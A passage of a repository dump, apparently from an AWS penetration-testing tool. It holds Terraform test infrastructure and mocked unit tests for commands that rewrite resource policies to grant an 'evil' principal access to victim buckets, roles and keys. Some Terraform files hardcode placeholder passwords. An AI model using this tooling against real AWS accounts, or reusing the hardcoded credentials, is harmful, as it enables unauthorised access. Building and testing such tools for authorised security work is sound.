    "path": "terraform/ebs-snapshot/ebs.tf",
    "content": "resource \"aws_ebs_volume\" \"example\" {\n  availability_zone = \"us-east-1a\"\n  size              = 40\n\n  tags = {\n    Name = var.name\n  }\n}\n\nresource \"aws_ebs_snapshot\" \"example_snapshot\" {\n  volume_id = aws_ebs_volume.example.id\n\n  tags = {\n    Name = var.name\n  }\n}"
  },
  {
    "path": "terraform/ebs-snapshot/outputs.tf",
    "content": "output \"aws_ebs_volume_arn\" {\n  value = aws_ebs_volume.example.arn\n}\n\noutput \"id\" {\n  value = aws_ebs_snapshot.example_snapshot.id\n}"
  },
  {
    "path": "terraform/ebs-snapshot/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/ec2-ami/ami.tf",
    "content": "data \"aws_ami\" \"example\" {\n  most_recent      = true\n  owners           = [\"amazon\"]\n\n  filter {\n    name   = \"name\"\n    values = [\"amzn2-ami-hvm*\"]\n  }\n\n  filter {\n    name   = \"root-device-type\"\n    values = [\"ebs\"]\n  }\n}\nresource \"aws_ami_copy\" \"example\" {\n  name              = var.name\n  source_ami_id     = data.aws_ami.example.image_id\n  source_ami_region = var.region\n}"
  },
  {
    "path": "terraform/ec2-ami/output.tf",
    "content": "output \"ami_id\" {\n  value = aws_ami_copy.example.id\n}"
  },
  {
    "path": "terraform/ec2-ami/variables.tf",
    "content": "variable \"region\" {\n  default = \"us-east-1\"\n  type    = string\n}\n\nvariable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/ecr-repository/ecr.tf",
    "content": "resource \"aws_ecr_repository\" \"foo\" {\n  name = var.name\n}"
  },
  {
    "path": "terraform/ecr-repository/outputs.tf",
    "content": "output \"name\" {\n  value = aws_ecr_repository.foo.name\n}\n\noutput \"arn\" {\n  value = aws_ecr_repository.foo.arn\n}"
  },
  {
    "path": "terraform/ecr-repository/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/efs-file-system/efs.tf",
    "content": "resource \"aws_efs_file_system\" \"foo\" {\n  creation_token = var.name\n\n  tags = {\n    Name = var.name\n  }\n}"
  },
  {
    "path": "terraform/efs-file-system/outputs.tf",
    "content": "output \"id\" {\n  value = aws_efs_file_system.foo.id\n}\n\noutput \"arn\" {\n  value = aws_efs_file_system.foo.arn\n}"
  },
  {
    "path": "terraform/efs-file-system/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/elasticsearch-domain/es.tf",
    "content": "resource \"aws_elasticsearch_domain\" \"example\" {\n  domain_name           = var.name\n  elasticsearch_version = \"1.5\"\n\n  cluster_config {\n    instance_type = \"t2.micro.elasticsearch\"\n    instance_count = 1\n  }\n  ebs_options {\n    ebs_enabled = true\n    volume_size = 20\n\n  }\n\n  tags = {\n    Domain = var.name\n  }\n}"
  },
  {
    "path": "terraform/elasticsearch-domain/outputs.tf",
    "content": "output \"name\" {\n  value = aws_elasticsearch_domain.example.domain_name\n}\n\noutput \"arn\" {\n  value = aws_elasticsearch_domain.example.arn\n}"
  },
  {
    "path": "terraform/elasticsearch-domain/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/glacier-vault/glacier.tf",
    "content": "resource \"aws_glacier_vault\" \"test_resource_exposure\" {\n  name = var.name\n}"
  },
  {
    "path": "terraform/glacier-vault/outputs.tf",
    "content": "output \"arn\" {\n  value = aws_glacier_vault.test_resource_exposure.arn\n}\n\noutput \"name\" {\n  value = aws_glacier_vault.test_resource_exposure.name\n}\n"
  },
  {
    "path": "terraform/glacier-vault/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/iam-role/outputs.tf",
    "content": "output \"arn\" {\n  value = aws_iam_role.test_role.arn\n}\n\noutput \"name\" {\n  value = aws_iam_role.test_role.name\n}"
  },
  {
    "path": "terraform/iam-role/role.tf",
    "content": "resource \"aws_iam_role\" \"test_role\" {\n  name = var.name\n\n  assume_role_policy = <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": \"sts:AssumeRole\",\n      \"Principal\": {\n        \"Service\": \"ec2.amazonaws.com\"\n      },\n      \"Effect\": \"Allow\",\n      \"Sid\": \"\"\n    }\n  ]\n}\nEOF\n\n  tags = {\n    Owner = \"yourmom\"\n  }\n}"
  },
  {
    "path": "terraform/iam-role/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/lambda-function/lambda.py",
    "content": "import json\n\n\ndef handler(event, context):\n    print(\"Received event: \" + json.dumps(event, indent=2))\n"
  },
  {
    "path": "terraform/lambda-function/lambda_function.tf",
    "content": "resource \"aws_lambda_function\" \"lambda_function\" {\n  role             = aws_iam_role.lambda_exec_role.arn\n  handler          = \"lambda.handler\"\n  runtime          = \"python3.8\"\n  filename         = abspath(\"${path.module}/lambda.zip\")\n  function_name    = var.name\n  source_code_hash = filesha256(abspath(\"${path.module}/lambda.zip\"))\n}\n\nresource \"aws_iam_role\" \"lambda_exec_role\" {\n  name        = \"${var.name}-lambda\"\n  path        = \"/\"\n  description = \"Allows Lambda Function to call AWS services on your behalf.\"\n\n  assume_role_policy = <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"Service\": \"lambda.amazonaws.com\"\n      },\n      \"Action\": \"sts:AssumeRole\"\n    }\n  ]\n}\nEOF\n}\n"
  },
  {
    "path": "terraform/lambda-function/outputs.tf",
    "content": "output \"arn\" {\n  value = aws_lambda_function.lambda_function.arn\n}\n\noutput \"name\" {\n  value = aws_lambda_function.lambda_function.function_name\n}"
  },
  {
    "path": "terraform/lambda-function/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/lambda-layer/layer.tf",
    "content": "data \"archive_file\" \"layer\" {\n  source_dir = \"${path.module}/python/\"\n  output_path = \"${path.module}/python_libs.zip\"\n  type        = \"zip\"\n}\n\nresource \"aws_lambda_layer_version\" \"lambda_layer\" {\n  filename            = data.archive_file.layer.output_path\n  layer_name          = var.name\n  source_code_hash    = data.archive_file.layer.output_base64sha256\n  compatible_runtimes = [\"python3.7\"]\n}\n\nresource \"aws_lambda_layer_version\" \"lambda_layer_2\" {\n  filename            = data.archive_file.layer.output_path\n  layer_name          = \"${var.name}-a\"\n  source_code_hash    = data.archive_file.layer.output_base64sha256\n  compatible_runtimes = [\"python3.7\"]\n}"
  },
  {
    "path": "terraform/lambda-layer/outputs.tf",
    "content": "output \"arn\" {\n  value = aws_lambda_layer_version.lambda_layer.layer_arn\n}\n\noutput \"name\" {\n  value = \"${var.name}:${aws_lambda_layer_version.lambda_layer.version}\"\n}"
  },
  {
    "path": "terraform/lambda-layer/python/custom_func.py",
    "content": "def cust_fun():\n    print(\"Hello from the deep layers!!\")\n    return 1"
  },
  {
    "path": "terraform/lambda-layer/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/provider.tf",
    "content": "provider \"aws\" {\n  region = var.region\n}"
  },
  {
    "path": "terraform/rds-cluster-snapshot/cluster_snapshot.tf",
    "content": "resource \"aws_rds_cluster\" \"test_resource_exposure\" {\n  cluster_identifier      = var.name\n  engine                  = \"aurora-mysql\"\n  engine_version          = \"5.7.mysql_aurora.2.03.2\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n}\n\nresource \"aws_db_cluster_snapshot\" \"test_resource_exposure\" {\n  db_cluster_identifier          = aws_rds_cluster.test_resource_exposure.id\n  db_cluster_snapshot_identifier = \"test-resource-exposure-cluster\"\n}"
  },
  {
    "path": "terraform/rds-cluster-snapshot/outputs.tf",
    "content": "output \"snapshot_identifier\" {\n  value = aws_db_cluster_snapshot.test_resource_exposure.db_cluster_identifier\n}\n\noutput \"arn\" {\n  value = aws_db_cluster_snapshot.test_resource_exposure.db_cluster_snapshot_arn\n}"
  },
  {
    "path": "terraform/rds-cluster-snapshot/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/rds-snapshot/db_snapshot.tf",
    "content": "resource \"aws_db_instance\" \"bar\" {\n  allocated_storage    = 20\n  storage_type         = \"gp2\"\n  engine               = \"mysql\"\n  engine_version       = \"5.7\"\n  instance_class       = \"db.t2.micro\"\n  name                 = \"mydb\"\n  username             = \"foo\"\n  password             = \"foobarbaz\"\n  parameter_group_name = \"default.mysql5.7\"\n  multi_az             = true\n  db_subnet_group_name = aws_db_subnet_group.default.name\n  skip_final_snapshot  = true\n}\n\n\nresource \"aws_db_snapshot\" \"test\" {\n  db_instance_identifier = aws_db_instance.bar.id\n  db_snapshot_identifier = var.name\n}\n\nresource \"aws_vpc\" \"main\" {\n  cidr_block       = \"10.0.0.0/16\"\n  instance_tenancy = \"default\"\n\n  tags = {\n    Name = \"main\"\n  }\n}\n\nresource \"aws_subnet\" \"subnet_1\" {\n  vpc_id            = aws_vpc.main.id\n  cidr_block        = \"10.0.1.0/28\"\n  availability_zone = \"us-east-1b\"\n\n  tags = {\n    Name = \"subnet_1\"\n  }\n}\n\nresource \"aws_subnet\" \"subnet_2\" {\n  vpc_id            = aws_vpc.main.id\n  cidr_block        = \"10.0.1.16/28\"\n  availability_zone = \"us-east-1c\"\n\n  tags = {\n    Name = \"subnet_1\"\n  }\n}\n\nresource \"aws_db_subnet_group\" \"default\" {\n  name       = \"test-resource-exposure-subnet\"\n  subnet_ids = [aws_subnet.subnet_1.id, aws_subnet.subnet_2.id]\n\n  tags = {\n    Name = \"test-resource-exposure\"\n  }\n}"
  },
  {
    "path": "terraform/rds-snapshot/outputs.tf",
    "content": "output \"snapshot_identifier\" {\n  value = aws_db_snapshot.test.db_snapshot_identifier\n}\n\noutput \"arn\" {\n  value = aws_db_snapshot.test.db_snapshot_arn\n}"
  },
  {
    "path": "terraform/rds-snapshot/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/s3-bucket/bucket.tf",
    "content": "resource \"aws_s3_bucket\" \"test_resource_exposure\" {\n  bucket = \"${var.name_prefix}-${random_string.random.result}\"\n}\n\nresource \"aws_s3_bucket_object\" \"test_object\" {\n  bucket = aws_s3_bucket.test_resource_exposure.bucket\n  key = \"kinnaird-was-here.txt\"\n}\n\nresource \"random_string\" \"random\" {\n  length = 16\n  special = false\n  min_lower = 16\n}"
  },
  {
    "path": "terraform/s3-bucket/outputs.tf",
    "content": "output \"arn\" {\n  value = aws_s3_bucket.test_resource_exposure.arn\n}\n\noutput \"name\" {\n  value = aws_s3_bucket.test_resource_exposure.bucket\n}"
  },
  {
    "path": "terraform/s3-bucket/variables.tf",
    "content": "variable \"name_prefix\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/secrets-manager/outputs.tf",
    "content": "output \"arn\" {\n  value = aws_secretsmanager_secret.test_resource_exposure.arn\n}\n\noutput \"name\" {\n  value = aws_secretsmanager_secret.test_resource_exposure.name\n}"
  },
  {
    "path": "terraform/secrets-manager/secrets-manager.tf",
    "content": "resource \"aws_secretsmanager_secret\" \"test_resource_exposure\" {\n  name = var.name\n  recovery_window_in_days = 0\n}\n\nresource \"aws_secretsmanager_secret_version\" \"example\" {\n  secret_id     = aws_secretsmanager_secret.test_resource_exposure.id\n  secret_string = \"foosecret\"\n}"
  },
  {
    "path": "terraform/secrets-manager/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/ses-domain-identity/outputs.tf",
    "content": "output \"arn\" {\n  value = aws_ses_domain_identity.example.arn\n}\n\noutput \"name\" {\n  value = aws_ses_domain_identity.example.domain\n}"
  },
  {
    "path": "terraform/ses-domain-identity/ses.tf",
    "content": "resource \"aws_ses_domain_identity\" \"example\" {\n  domain = var.domain_name\n}\n//\n//resource \"aws_route53_record\" \"example_amazonses_verification_record\" {\n//  zone_id = data.aws_route53_zone.selected.zone_id\n//  name    = \"_amazonses.example.com\"\n//  type    = \"TXT\"\n//  ttl     = \"600\"\n//  records = [aws_ses_domain_identity.example.verification_token]\n//}\n//\n//data \"aws_route53_zone\" \"selected\" {\n//  name         = \"${var.domain_name}.\"\n//  private_zone = false\n//}"
  },
  {
    "path": "terraform/ses-domain-identity/variables.tf",
    "content": "variable \"domain_name\" {\n  type    = string\n  default = \"test-resource-exposure.com\"\n}"
  },
  {
    "path": "terraform/sns-topic/outputs.tf",
    "content": "output \"arn\" {\n  value = aws_sns_topic.test_resource_exposure.arn\n}\n\noutput \"name\" {\n  value = aws_sns_topic.test_resource_exposure.name\n}"
  },
  {
    "path": "terraform/sns-topic/sns.tf",
    "content": "resource \"aws_sns_topic\" \"test_resource_exposure\" {\n  name = var.name\n}"
  },
  {
    "path": "terraform/sns-topic/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/sqs-queue/outputs.tf",
    "content": "output \"arn\" {\n  value = aws_sqs_queue.test_resource_exposure.arn\n}\n\noutput \"name\" {\n  value = aws_sqs_queue.test_resource_exposure.name\n}"
  },
  {
    "path": "terraform/sqs-queue/sqs.tf",
    "content": "resource \"aws_sqs_queue\" \"test_resource_exposure\" {\n  name = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/sqs-queue/variables.tf",
    "content": "variable \"name\" {\n  type    = string\n  default = \"test-resource-exposure\"\n}"
  },
  {
    "path": "terraform/variables.tf",
    "content": "variable \"region\" {\n  default = \"us-east-1\"\n}"
  },
  {
    "path": "test/__init__.py",
    "content": ""
  },
  {
    "path": "test/command/__init__.py",
    "content": ""
  },
  {
    "path": "test/command/test_expose.py",
    "content": "import json\nimport unittest\nfrom click.testing import CliRunner\nfrom endgame.command.expose import expose\n\n\nclass ListResourcesClickUnitTests(unittest.TestCase):\n    def setUp(self):\n        self.runner = CliRunner()\n\n    def test_expose_command_with_click(self):\n        \"\"\"command.expose.expose: should return exit code 0\"\"\"\n        result = self.runner.invoke(expose, [\"--help\"])\n        self.assertTrue(result.exit_code == 0)\n"
  },
  {
    "path": "test/command/test_list_resources.py",
    "content": "import json\nimport os\nimport unittest\nimport warnings\nfrom moto import mock_s3, mock_sts\nfrom click.testing import CliRunner\nfrom endgame.command.list_resources import list_resources\nfrom endgame.shared.aws_login import get_boto3_client, get_current_account_id\n\n\nclass ListResourcesClickUnitTests(unittest.TestCase):\n    \"\"\"Test listing S3 resources using the CLI\"\"\"\n\n    def setUp(self):\n        self.runner = CliRunner()\n        # Set up mocked boto3 resources\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            region = \"us-east-1\"\n            current_account_id = \"123456789012\"\n            bucket_names = [\n                \"victimbucket1\",\n                \"victimbucket2\",\n                \"victimbucket3\",\n            ]\n            self.mock = mock_s3()\n            self.mock.start()\n            self.mock_sts = mock_sts()\n            self.mock_sts.start()\n            self.client = get_boto3_client(profile=None, service=\"s3\", region=region)\n            self.sts_client = get_boto3_client(profile=None, service=\"sts\", region=region)\n            for bucket in bucket_names:\n                self.client.create_bucket(Bucket=bucket)\n            # response = self.client.list_buckets()\n\n    def test_list_resources_command_with_click(self):\n        \"\"\"command.list_resources.list_resources: Print out mocked AWS S3 resources properly\"\"\"\n        result = self.runner.invoke(list_resources, [\"--help\"])\n        self.assertTrue(result.exit_code == 0)\n\n        result = self.runner.invoke(list_resources, [\"--service\", \"s3\", \"-v\"])\n        expected_output = \"victimbucket1\\nvictimbucket2\\nvictimbucket3\\n\"\n        print(result.output)\n        self.assertTrue(result.exit_code == 0)\n        self.assertEqual(result.output, expected_output)\n\n    def test_list_resources_exclusion_via_argument(self):\n        \"\"\"command.list_resources.list_resources: Exclude resources using argument\"\"\"\n        result = self.runner.invoke(list_resources, [\"--service\", \"s3\", \"--exclude\", \"victimbucket2\"])\n        print(result.output)\n        self.assertEqual(result.output, \"victimbucket1\\nvictimbucket3\\n\")\n\n    def test_list_resources_exclusion_via_envvar(self):\n        \"\"\"command.list_resources.list_resources: Exclude resources using environment variable\"\"\"\n        os.environ[\"EXCLUDED_NAMES\"] = \"victimbucket1\"\n        result = self.runner.invoke(list_resources, [\"--service\", \"s3\"])\n        print(result.output)\n        self.assertEqual(result.output, \"victimbucket2\\nvictimbucket3\\n\")\n\n    def test_list_resources_exclude_multiple(self):\n        result = self.runner.invoke(list_resources, [\"--service\", \"s3\", \"--exclude\", \"victimbucket1,victimbucket2\"])\n        print(result.output)\n        self.assertEqual(result.output, \"victimbucket3\\n\")\n"
  },
  {
    "path": "test/command/test_smash.py",
    "content": "import os\nimport json\nimport unittest\nimport warnings\nfrom moto import mock_s3, mock_sts\nfrom click.testing import CliRunner\nfrom endgame.shared.aws_login import get_boto3_client, get_current_account_id\nfrom endgame.command.list_resources import list_resources\nfrom endgame.command.smash import smash\nEVIL_PRINCIPAL = \"arn:aws:iam::999988887777:user/evil\"\n\nBUCKET_NAMES = [\n    \"victimbucket1\",\n    \"victimbucket2\",\n    \"victimbucket3\",\n]\n\n\nclass SmashClickUnitTests(unittest.TestCase):\n    \"\"\"Test listing S3 resources using the CLI\"\"\"\n\n    def setUp(self):\n        self.runner = CliRunner()\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            region = \"us-east-1\"\n            self.mock = mock_s3()\n            self.mock.start()\n            self.mock_sts = mock_sts()\n            self.mock_sts.start()\n            self.client = get_boto3_client(profile=None, service=\"s3\", region=region)\n            for bucket in BUCKET_NAMES:\n                self.client.create_bucket(Bucket=bucket)\n            os.environ[\"EVIL_PRINCIPAL\"] = EVIL_PRINCIPAL\n\n    def test_smash_help(self):\n        \"\"\"command.smash.smash: Print help\"\"\"\n        result = self.runner.invoke(smash, [\"--help\"])\n        self.assertTrue(result.exit_code == 0)\n\n    def test_smash_dry_run(self):\n        \"\"\"command.smash.smash: Dry run\"\"\"\n        smash_result = self.runner.invoke(smash, [\"--service\", \"s3\", \"--dry-run\"])\n        print(smash_result.output)\n        self.assertTrue(smash_result.exit_code == 0)\n\n    def tearDown(self):\n        for bucket in BUCKET_NAMES:\n            self.client.delete_bucket(Bucket=bucket)\n        self.mock.stop()\n\n\nclass SmashClickUnitTestsWithExclusions(unittest.TestCase):\n    def setUp(self):\n        self.runner = CliRunner()\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            region = \"us-east-1\"\n            self.mock = mock_s3()\n            self.mock.start()\n            self.mock_sts = mock_sts()\n            self.mock_sts.start()\n            self.client = get_boto3_client(profile=None, service=\"s3\", region=region)\n            for bucket in BUCKET_NAMES:\n                self.client.create_bucket(Bucket=bucket)\n            os.environ[\"EVIL_PRINCIPAL\"] = EVIL_PRINCIPAL\n\n    def test_smash_live_run(self):\n        \"\"\"command.smash.smash: Live run\"\"\"\n        os.environ[\"EXCLUDED_NAMES\"] = \"victimbucket1\"\n        smash_result = self.runner.invoke(smash, [\"--service\", \"s3\"])\n        self.assertTrue(smash_result.exit_code == 0)\n        print(smash_result.output)\n        count = smash_result.output.count(\"SUCCESS\")\n        self.assertEqual(count, 2)\n\n    def tearDown(self):\n        for bucket in BUCKET_NAMES:\n            self.client.delete_bucket(Bucket=bucket)\n        self.mock.stop()\n"
  },
  {
    "path": "test/exposure_via_resource_policies/README.md",
    "content": "# Moto support status per service\n\n* ACM PCA: ❌ Not supported by Moto\n  * `delete_policy`: ❌ Not supported\n  * `get_policy`: ❌ Not supported\n  * `list_certificate_authorities`: ❌ Not supported\n  * `put_policy`: ❌ Not supported\n* CloudWatch Logs: ❌ Resource policy not supported by Moto\n  * `describe_resource_policies`: ❌ Not supported\n  * `delete_resource_policy`: ❌ Not supported\n  * `put_resource_policy`: ❌ Not supported\n* ECR\n  * `describe_repositories`: ✅ Supported\n  * `delete_repository_policy`: ❌ Not supported\n  * `get_repository_policy`: ❌ Not supported ⁉️\n  * `set_repository_policy`: ❌ Not supported\n* EFS: ❌ Not supported by Moto\n  * `describe_file_system_policy`: ❌ Not supported\n  * `describe_file_systems`: ❌ Not supported\n  * `put_file_system_policy`: ❌ Not supported\n* ElasticSearch: ❌ Not supported by Moto\n  * `describe_elasticsearch_domain_config`: Not supported\n  * `list_domain_names`: Not supported\n  * `update_elasticsearch_domain_config`: Not supported\n* Glacier Vault\n  * `get_vault_access_policy`: ❌ Not supported\n  * `list_vaults`: ❌ Not supported ⁉️\n  * `set_vault_access_policy`: ❌ Not supported\n* IAM\n  * `get_role`: ✅ Supported\n  * `list_roles`: ✅ Supported\n  * `update_assume_role_policy`: ✅ Supported\n* KMS\n  * `get_key_policy`: ✅ Supported\n  * `list_keys`: ✅ Supported\n  * `list_aliases`: ❌ Not supported ⁉️\n  * `put_key_policy`: ✅ Supported\n* Lambda Function\n  * `list_functions`: ✅ Supported\n  * `get_function_policy`: ✅ Supported\n  * `add_permission`: ✅ Supported\n  * `remove_permission`: ✅ Supported\n* Lambda Layer:\n  * `list_layers`: ✅ Supported\n  * `list_layer_versions`: ❌ Not supported\n  * `add_layer_version_permission`: ❌ Not supported\n  * `remove_layer_version_permission`: ❌ Not supported\n* S3:\n  * `get_bucket_policy`: ✅ Supported\n  * `put_bucket_policy`: ✅ Supported\n  * `list_buckets`: ✅ Supported\n* Secrets Manager\n  * `delete_resource_policy`: ❌ Not supported\n  * `get_resource_policy`: ✅ Supported\n  * `list_secrets`: ✅ Supported\n  * `put_resource_policy`: ❌ Not supported\n* SES\n  * `delete_identity_policy`: ❌ Not supported\n  * `get_identity_policies`: ❌ Not supported\n  * `list_identities`: ✅ Supported\n  * `list_identity_policies`: ❌ Not supported\n  * `put_identity_policy`: ❌ Not supported\n* SNS\n  * `add_permission`: ✅ Supported\n  * `get_topic_attributes`: ✅ Supported\n  * `remove_permission`: ✅ Supported\n  * `list_topics`: ✅ Supported\n* SQS\n  * `add_permission`: ✅ Supported\n  * `get_queue_url`: ✅ Supported\n  * `get_queue_attributes`: ✅ Supported\n  * `list_queues`: ✅ Supported\n  * `remove_permission`: ✅ Supported\n\n## Unit test structure per service\n\nWe want to cover the following in each unit test:\n* `setUp`\n* `test_list_resources`\n  * Passing case: If exists, assert name is expected\n  * Exception handling: If does not exist, show error message but don't break\n* `test_get_rbp`\n  * Expected initial policy content\n* `test_set_rbp`\n  * Expected policy content after updating\n  * Exception handling in case of `botocore.exceptions.ClientError`\n* `test_add_myself`\n  * Expected policy content after updating\n  * Exception handling in case of `botocore.exceptions.ClientError`\n* `tearDown`\n\n## Notes\n\n[ECR](https://github.com/spulec/moto/blob/master/tests/test_ecr/test_ecr_boto3.py): 🟡 Partially supported. `test_get_rbp` possible\n\n[Glacier Vault](https://github.com/spulec/moto/tree/master/tests/test_glacier). Looks like `list_vaults` is under `mock_glacier_deprecated`\n\n[KMS](https://github.com/spulec/moto/blob/9db62d32bf70e18f315305b7915d199e3ba1210a/tests/test_kms/test_kms.py#L269): ✅ possible. TODO: Need to update with `put_key_policy` from `mock_kms_deprecated`\n\n[IAM](https://github.com/spulec/moto/blob/fe9f1dfe140a8f52746b964df121ae1a13fdf93d/moto/iam/responses.py#L253)"
  },
  {
    "path": "test/exposure_via_resource_policies/__init__.py",
    "content": ""
  },
  {
    "path": "test/exposure_via_resource_policies/test_ecr.py",
    "content": "import unittest\nimport warnings\nfrom moto import mock_ecr\nfrom endgame.exposure_via_resource_policies.ecr import EcrRepositories\nfrom endgame.shared.aws_login import get_boto3_client\n\nMY_RESOURCE = \"test-resource-exposure\"\nEVIL_PRINCIPAL = \"arn:aws:iam::999988887777:user/evil\"\n\n\n# https://github.com/spulec/moto/tree/master/tests/test_ecr\nclass EcrTestCase(unittest.TestCase):\n    def setUp(self):\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            self.mock = mock_ecr()\n            self.mock.start()\n            self.client = get_boto3_client(profile=None, service=\"ecr\", region=\"us-east-1\", cloak=False)\n            self.client.create_repository(repositoryName=MY_RESOURCE)\n            # get_resource_policy has not been implemented by moto for ecr\n            # self.example = EcrRepository(name=MY_RESOURCE, region=\"us-east-1\", client=self.client,\n            #                              current_account_id=\"111122223333\")\n            self.repositories = EcrRepositories(client=self.client, current_account_id=\"111122223333\", region=\"us-east-1\")\n\n    def test_list_resources(self):\n        print()\n        resource_names = []\n        for resource in self.repositories.resources:\n            resource_names.append(resource.name)\n            print(resource.name)\n        self.assertTrue(\"test-resource-exposure\" in resource_names)\n\n    # get_resource_policy has not been implemented by moto for ecr\n    # def test_get_rbp(self):\n\n    # put_resource_policy has not been implemented by moto for ecr\n    # def test_set_rbp(self):\n    # def test_add_myself(self):\n\n    def tearDown(self):\n        self.client.create_repository(repositoryName=MY_RESOURCE)\n        self.mock.stop()\n"
  },
  {
    "path": "test/exposure_via_resource_policies/test_glacier.py",
    "content": "import unittest\nimport warnings\nimport json\nfrom moto import mock_glacier\nfrom endgame.exposure_via_resource_policies.glacier_vault import GlacierVaults\nfrom endgame.shared.aws_login import get_boto3_client\n\nMY_RESOURCE = \"test-resource-exposure\"\nEVIL_PRINCIPAL = \"arn:aws:iam::999988887777:user/evil\"\n\n\nclass GlacierTestCase(unittest.TestCase):\n    def setUp(self):\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            current_account_id = \"111122223333\"\n            region = \"us-east-1\"\n            service = \"glacier\"\n            self.mock = mock_glacier()\n            self.mock.start()\n            self.client = get_boto3_client(profile=None, service=service, region=region)\n\n            self.client.create_vault(vaultName=MY_RESOURCE)\n            self.vaults = GlacierVaults(client=self.client, current_account_id=current_account_id, region=region)\n\n    def test_list_vaults(self):\n        print(self.vaults.resources[0].name)\n        print(self.vaults.resources[0].arn)\n        self.assertTrue(self.vaults.resources[0].name == \"test-resource-exposure\")\n        self.assertTrue(self.vaults.resources[0].arn == \"arn:aws:glacier:us-east-1:012345678901:vaults/test-resource-exposure\")\n"
  },
  {
    "path": "test/exposure_via_resource_policies/test_iam.py",
    "content": "import unittest\nimport warnings\nimport json\nfrom moto import mock_iam\nfrom endgame.exposure_via_resource_policies.iam import IAMRole, IAMRoles\nfrom endgame.shared.aws_login import get_boto3_client\nfrom endgame.shared import constants\n\nMY_RESOURCE = \"test-resource-exposure\"\nEVIL_PRINCIPAL = \"arn:aws:iam::999988887777:user/evil\"\n\n\nclass IAMTestCase(unittest.TestCase):\n    def setUp(self):\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            current_account_id = \"111122223333\"\n            region = \"us-east-1\"\n            self.mock = mock_iam()\n            self.mock.start()\n            self.client = get_boto3_client(profile=None, service=\"iam\", region=region)\n\n            self.client.create_role(RoleName=MY_RESOURCE, AssumeRolePolicyDocument=json.dumps(constants.EC2_ASSUME_ROLE_POLICY))\n            self.example = IAMRole(name=MY_RESOURCE, region=region, client=self.client,\n                                   current_account_id=current_account_id)\n            self.roles = IAMRoles(client=self.client, current_account_id=current_account_id, region=region)\n\n    def test_list_roles(self):\n        self.assertTrue(self.roles.resources[0].name == \"test-resource-exposure\")\n        self.assertTrue(self.roles.resources[0].arn == \"arn:aws:iam::123456789012:role/test-resource-exposure\")\n\n    def test_get_rbp(self):\n        expected_result = constants.EC2_ASSUME_ROLE_POLICY\n        print(self.example.policy_document.original_policy)\n        print(self.example.policy_document.original_policy)\n        self.assertDictEqual(self.example.policy_document.original_policy, expected_result)\n        print(self.example.policy_document)\n\n    def test_set_rbp(self):\n        after = self.example.set_rbp(constants.EC2_ASSUME_ROLE_POLICY)\n        self.assertDictEqual(constants.EC2_ASSUME_ROLE_POLICY, after.updated_policy)\n\n    def test_add_myself(self):\n        result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL)\n        print(result.updated_policy_sids)\n        self.assertListEqual(result.updated_policy_sids, [\"\", constants.ALLOW_CURRENT_ACCOUNT_SID_SIGNATURE, constants.SID_SIGNATURE])\n\n    def tearDown(self):\n        self.client.delete_role(RoleName=MY_RESOURCE)\n        self.mock.stop()\n"
  },
  {
    "path": "test/exposure_via_resource_policies/test_kms.py",
    "content": "import unittest\nimport warnings\nimport json\nfrom moto import mock_kms\nfrom endgame.exposure_via_resource_policies.kms import KmsKey, KmsKeys\nfrom endgame.shared.aws_login import get_boto3_client\nfrom endgame.shared import constants\n\nMY_RESOURCE = \"alias/test-resource-exposure\"\nEVIL_PRINCIPAL = \"arn:aws:iam::999988887777:user/evil\"\n\n\n# https://github.com/spulec/moto/blob/master/tests/test_sqs/test_sqs.py\nclass KmsTestCase(unittest.TestCase):\n    def setUp(self):\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n            self.mock = mock_kms()\n            self.mock.start()\n            region = \"us-east-1\"\n            current_account_id = \"123456789012\"\n            self.client = get_boto3_client(profile=None, service=\"kms\", region=region)\n            self.key_id = self.client.create_key()[\"KeyMetadata\"][\"KeyId\"]\n            self.client.create_alias(AliasName=MY_RESOURCE, TargetKeyId=self.key_id)\n            self.example = 